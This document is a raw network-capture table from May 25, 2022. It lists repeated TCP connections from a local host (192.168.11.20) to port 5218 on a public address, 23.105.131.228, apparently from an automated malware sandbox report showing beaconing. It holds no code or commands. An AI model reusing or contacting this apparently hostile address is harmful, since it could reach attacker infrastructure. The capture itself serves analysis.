May 25, 2022 16:27:30.490995884 CEST	49775	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:30.491060972 CEST	5218	49775	23.105.131.228	192.168.11.20
May 25, 2022 16:27:30.491154909 CEST	49775	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:30.491205931 CEST	5218	49775	23.105.131.228	192.168.11.20
May 25, 2022 16:27:30.491226912 CEST	49775	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:30.491302967 CEST	5218	49775	23.105.131.228	192.168.11.20
May 25, 2022 16:27:30.491451979 CEST	49775	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:30.491554976 CEST	49775	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:30.491822004 CEST	5218	49775	23.105.131.228	192.168.11.20
May 25, 2022 16:27:30.492019892 CEST	5218	49775	23.105.131.228	192.168.11.20
May 25, 2022 16:27:30.492079973 CEST	49775	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:30.492177010 CEST	5218	49775	23.105.131.228	192.168.11.20
May 25, 2022 16:27:30.492214918 CEST	49775	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:30.492379904 CEST	49775	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:30.492469072 CEST	5218	49775	23.105.131.228	192.168.11.20
May 25, 2022 16:27:30.492522955 CEST	5218	49775	23.105.131.228	192.168.11.20
May 25, 2022 16:27:30.492707968 CEST	49775	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:30.492753983 CEST	49775	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:30.492965937 CEST	5218	49775	23.105.131.228	192.168.11.20
May 25, 2022 16:27:30.493210077 CEST	49775	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:30.493367910 CEST	5218	49775	23.105.131.228	192.168.11.20
May 25, 2022 16:27:30.494167089 CEST	49775	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:34.591922998 CEST	49776	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:34.857214928 CEST	5218	49776	23.105.131.228	192.168.11.20
May 25, 2022 16:27:34.857517958 CEST	49776	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:34.857765913 CEST	49776	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:35.172529936 CEST	5218	49776	23.105.131.228	192.168.11.20
May 25, 2022 16:27:35.172753096 CEST	49776	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:35.179696083 CEST	5218	49776	23.105.131.228	192.168.11.20
May 25, 2022 16:27:35.224989891 CEST	49776	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:35.481018066 CEST	5218	49776	23.105.131.228	192.168.11.20
May 25, 2022 16:27:35.481389999 CEST	49776	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:35.764058113 CEST	5218	49776	23.105.131.228	192.168.11.20
May 25, 2022 16:27:35.764416933 CEST	49776	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:36.059844017 CEST	5218	49776	23.105.131.228	192.168.11.20
May 25, 2022 16:27:36.060159922 CEST	49776	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:36.367381096 CEST	5218	49776	23.105.131.228	192.168.11.20
May 25, 2022 16:27:36.367571115 CEST	49776	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:36.487627983 CEST	5218	49776	23.105.131.228	192.168.11.20
May 25, 2022 16:27:36.487914085 CEST	49776	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:36.493561029 CEST	5218	49776	23.105.131.228	192.168.11.20
May 25, 2022 16:27:36.493731022 CEST	49776	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:36.493853092 CEST	5218	49776	23.105.131.228	192.168.11.20
May 25, 2022 16:27:36.494086981 CEST	49776	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:36.498022079 CEST	5218	49776	23.105.131.228	192.168.11.20
May 25, 2022 16:27:36.498084068 CEST	5218	49776	23.105.131.228	192.168.11.20
May 25, 2022 16:27:36.498285055 CEST	5218	49776	23.105.131.228	192.168.11.20
May 25, 2022 16:27:36.498336077 CEST	49776	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:36.498435974 CEST	49776	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:36.502578020 CEST	5218	49776	23.105.131.228	192.168.11.20
May 25, 2022 16:27:36.502644062 CEST	5218	49776	23.105.131.228	192.168.11.20
May 25, 2022 16:27:36.502815962 CEST	49776	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:36.504877090 CEST	5218	49776	23.105.131.228	192.168.11.20
May 25, 2022 16:27:36.505139112 CEST	49776	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:36.509694099 CEST	5218	49776	23.105.131.228	192.168.11.20
May 25, 2022 16:27:36.510281086 CEST	49776	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:36.667025089 CEST	5218	49776	23.105.131.228	192.168.11.20
May 25, 2022 16:27:36.667273998 CEST	49776	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:36.709080935 CEST	49776	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:36.743161917 CEST	5218	49776	23.105.131.228	192.168.11.20
May 25, 2022 16:27:36.743242025 CEST	5218	49776	23.105.131.228	192.168.11.20
May 25, 2022 16:27:36.743406057 CEST	49776	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:36.743454933 CEST	49776	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:36.748735905 CEST	5218	49776	23.105.131.228	192.168.11.20
May 25, 2022 16:27:36.748801947 CEST	5218	49776	23.105.131.228	192.168.11.20
May 25, 2022 16:27:36.749048948 CEST	49776	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:36.750684023 CEST	5218	49776	23.105.131.228	192.168.11.20
May 25, 2022 16:27:36.750754118 CEST	5218	49776	23.105.131.228	192.168.11.20
May 25, 2022 16:27:36.750925064 CEST	49776	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:36.751007080 CEST	49776	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:36.752640963 CEST	5218	49776	23.105.131.228	192.168.11.20
May 25, 2022 16:27:36.752877951 CEST	49776	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:36.756258965 CEST	5218	49776	23.105.131.228	192.168.11.20
May 25, 2022 16:27:36.756336927 CEST	5218	49776	23.105.131.228	192.168.11.20
May 25, 2022 16:27:36.756721973 CEST	49776	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:36.757316113 CEST	5218	49776	23.105.131.228	192.168.11.20
May 25, 2022 16:27:36.757626057 CEST	49776	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:36.760081053 CEST	5218	49776	23.105.131.228	192.168.11.20
May 25, 2022 16:27:36.760163069 CEST	5218	49776	23.105.131.228	192.168.11.20
May 25, 2022 16:27:36.760335922 CEST	49776	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:36.760385036 CEST	49776	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:36.762219906 CEST	5218	49776	23.105.131.228	192.168.11.20
May 25, 2022 16:27:36.762299061 CEST	5218	49776	23.105.131.228	192.168.11.20
May 25, 2022 16:27:36.762473106 CEST	49776	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:36.762520075 CEST	49776	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:36.788986921 CEST	5218	49776	23.105.131.228	192.168.11.20
May 25, 2022 16:27:36.789083004 CEST	5218	49776	23.105.131.228	192.168.11.20
May 25, 2022 16:27:36.789139032 CEST	5218	49776	23.105.131.228	192.168.11.20
May 25, 2022 16:27:36.789196014 CEST	49776	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:36.789274931 CEST	5218	49776	23.105.131.228	192.168.11.20
May 25, 2022 16:27:36.789330959 CEST	5218	49776	23.105.131.228	192.168.11.20
May 25, 2022 16:27:36.789366007 CEST	49776	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:36.789380074 CEST	49776	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:36.789509058 CEST	5218	49776	23.105.131.228	192.168.11.20
May 25, 2022 16:27:36.789540052 CEST	49776	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:36.789772987 CEST	49776	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:36.969959021 CEST	5218	49776	23.105.131.228	192.168.11.20
May 25, 2022 16:27:36.970237017 CEST	49776	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:40.734705925 CEST	49778	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:41.010894060 CEST	5218	49778	23.105.131.228	192.168.11.20
May 25, 2022 16:27:41.011109114 CEST	49778	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:41.011476994 CEST	49778	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:41.405642986 CEST	5218	49778	23.105.131.228	192.168.11.20
May 25, 2022 16:27:41.405798912 CEST	49778	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:41.445842981 CEST	5218	49778	23.105.131.228	192.168.11.20
May 25, 2022 16:27:41.489233971 CEST	49778	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:41.724735022 CEST	5218	49778	23.105.131.228	192.168.11.20
May 25, 2022 16:27:41.724926949 CEST	49778	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:41.987601042 CEST	5218	49778	23.105.131.228	192.168.11.20
May 25, 2022 16:27:41.987890959 CEST	49778	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:42.322211981 CEST	5218	49778	23.105.131.228	192.168.11.20
May 25, 2022 16:27:42.322627068 CEST	49778	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:42.643681049 CEST	5218	49778	23.105.131.228	192.168.11.20
May 25, 2022 16:27:42.643966913 CEST	49778	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:42.699850082 CEST	5218	49778	23.105.131.228	192.168.11.20
May 25, 2022 16:27:42.700172901 CEST	49778	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:42.702120066 CEST	5218	49778	23.105.131.228	192.168.11.20
May 25, 2022 16:27:42.702331066 CEST	49778	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:42.702876091 CEST	5218	49778	23.105.131.228	192.168.11.20
May 25, 2022 16:27:42.702984095 CEST	5218	49778	23.105.131.228	192.168.11.20
May 25, 2022 16:27:42.703085899 CEST	49778	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:42.703171015 CEST	49778	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:42.703321934 CEST	5218	49778	23.105.131.228	192.168.11.20
May 25, 2022 16:27:42.703376055 CEST	5218	49778	23.105.131.228	192.168.11.20
May 25, 2022 16:27:42.703424931 CEST	5218	49778	23.105.131.228	192.168.11.20
May 25, 2022 16:27:42.703563929 CEST	49778	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:42.703612089 CEST	49778	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:42.707098007 CEST	5218	49778	23.105.131.228	192.168.11.20
May 25, 2022 16:27:42.707158089 CEST	5218	49778	23.105.131.228	192.168.11.20
May 25, 2022 16:27:42.707374096 CEST	49778	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:42.707532883 CEST	5218	49778	23.105.131.228	192.168.11.20
May 25, 2022 16:27:42.707731009 CEST	49778	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:42.950436115 CEST	5218	49778	23.105.131.228	192.168.11.20
May 25, 2022 16:27:42.950814009 CEST	49778	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:42.990613937 CEST	49778	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:43.080935001 CEST	5218	49778	23.105.131.228	192.168.11.20
May 25, 2022 16:27:43.081094027 CEST	5218	49778	23.105.131.228	192.168.11.20
May 25, 2022 16:27:43.081156969 CEST	5218	49778	23.105.131.228	192.168.11.20
May 25, 2022 16:27:43.081209898 CEST	5218	49778	23.105.131.228	192.168.11.20
May 25, 2022 16:27:43.081391096 CEST	49778	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:43.081486940 CEST	49778	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:43.089449883 CEST	5218	49778	23.105.131.228	192.168.11.20
May 25, 2022 16:27:43.089832067 CEST	49778	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:43.094242096 CEST	5218	49778	23.105.131.228	192.168.11.20
May 25, 2022 16:27:43.094338894 CEST	5218	49778	23.105.131.228	192.168.11.20
May 25, 2022 16:27:43.094396114 CEST	5218	49778	23.105.131.228	192.168.11.20
May 25, 2022 16:27:43.094495058 CEST	49778	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:43.094556093 CEST	49778	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:43.094564915 CEST	5218	49778	23.105.131.228	192.168.11.20
May 25, 2022 16:27:43.094573975 CEST	49778	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:43.094640017 CEST	5218	49778	23.105.131.228	192.168.11.20
May 25, 2022 16:27:43.094758987 CEST	49778	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:43.094805002 CEST	49778	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:43.094815016 CEST	5218	49778	23.105.131.228	192.168.11.20
May 25, 2022 16:27:43.094887972 CEST	5218	49778	23.105.131.228	192.168.11.20
May 25, 2022 16:27:43.095014095 CEST	5218	49778	23.105.131.228	192.168.11.20
May 25, 2022 16:27:43.095031023 CEST	49778	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:43.095077038 CEST	49778	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:43.095136881 CEST	5218	49778	23.105.131.228	192.168.11.20
May 25, 2022 16:27:43.095240116 CEST	49778	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:43.095257998 CEST	5218	49778	23.105.131.228	192.168.11.20
May 25, 2022 16:27:43.095400095 CEST	49778	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:43.095457077 CEST	49778	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:43.096223116 CEST	5218	49778	23.105.131.228	192.168.11.20
May 25, 2022 16:27:43.096378088 CEST	5218	49778	23.105.131.228	192.168.11.20
May 25, 2022 16:27:43.096426010 CEST	49778	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:43.096517086 CEST	5218	49778	23.105.131.228	192.168.11.20
May 25, 2022 16:27:43.096570015 CEST	49778	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:43.096668005 CEST	5218	49778	23.105.131.228	192.168.11.20
May 25, 2022 16:27:43.096714020 CEST	49778	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:43.096740961 CEST	5218	49778	23.105.131.228	192.168.11.20
May 25, 2022 16:27:43.096884966 CEST	49778	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:43.096940041 CEST	49778	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:47.016815901 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:47.275151014 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:47.275430918 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:47.275839090 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:47.591156960 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:47.591362953 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:47.647886992 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:47.648114920 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:47.904920101 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:47.905090094 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:47.973391056 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:47.973571062 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:48.179224014 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:48.179496050 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:48.276331902 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:48.276571035 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:48.478682995 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:48.478912115 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:48.607166052 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:48.607398033 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:48.649794102 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:48.649995089 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:48.650090933 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:48.650269985 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:48.680869102 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:48.681155920 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:48.711204052 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:48.711242914 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:48.711436033 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:48.711437941 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:48.711572886 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:48.711579084 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:48.711833954 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:48.711873055 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:48.711973906 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:48.712173939 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:48.712477922 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:48.813514948 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:48.905771017 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:48.906215906 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:48.910624981 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:48.910975933 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:48.915783882 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:48.915865898 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:48.916045904 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:48.916135073 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:48.935566902 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:48.935643911 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:48.935796976 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:48.935857058 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:48.972681999 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:48.972768068 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:48.972831011 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:48.972887993 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:48.972903967 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:48.972974062 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:48.973006010 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:48.973114014 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:48.976025105 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:48.976134062 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:48.976202965 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:48.976268053 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:48.976316929 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:48.976361990 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:48.976377964 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:48.976444006 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:48.976501942 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:48.976531982 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:48.976692915 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:48.980614901 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:48.980840921 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:48.985830069 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:48.986069918 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:48.989031076 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:48.989109993 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:48.989259005 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:48.989319086 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.167120934 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.167207956 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.167270899 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.167335033 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.167340040 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.167418003 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.167500973 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.167587042 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.174144983 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.174236059 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.174407959 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.174474001 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.174772024 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.174860954 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.175091982 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.175154924 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.213148117 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.213233948 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.213414907 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.213491917 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.215409994 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.215626001 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.217885971 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.218099117 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.234736919 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.234963894 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.237440109 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.237526894 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.237679005 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.237760067 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.239552021 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.239662886 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.239722967 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.239739895 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.239897013 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.239929914 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.250016928 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.250098944 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.250175953 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.250189066 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.250260115 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.250263929 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.250344038 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.250369072 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.250420094 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.250442982 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.250503063 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.250580072 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.250684023 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.250746012 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.251816034 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.251897097 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.252038002 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.252098083 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.270368099 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.270498991 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.270600080 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.270629883 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.270714998 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.270754099 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.270821095 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.270872116 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.270894051 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.271015882 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.271074057 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.271137953 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.271157980 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.271235943 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.271292925 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.271430016 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.271456003 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.271558046 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.271583080 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.271636009 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.271692991 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.271722078 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.271801949 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.271883965 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.271904945 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.272106886 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.428076982 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.428514957 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.430771112 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.430833101 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.430927992 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.430948019 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.431020975 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.431103945 CEST	49779	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:27:49.431224108 CEST	5218	49779	23.105.131.228	192.168.11.20
May 25, 2022 16:27:49.431283951 CEST	5218	49779	23.105.131.228	192.168.11.20
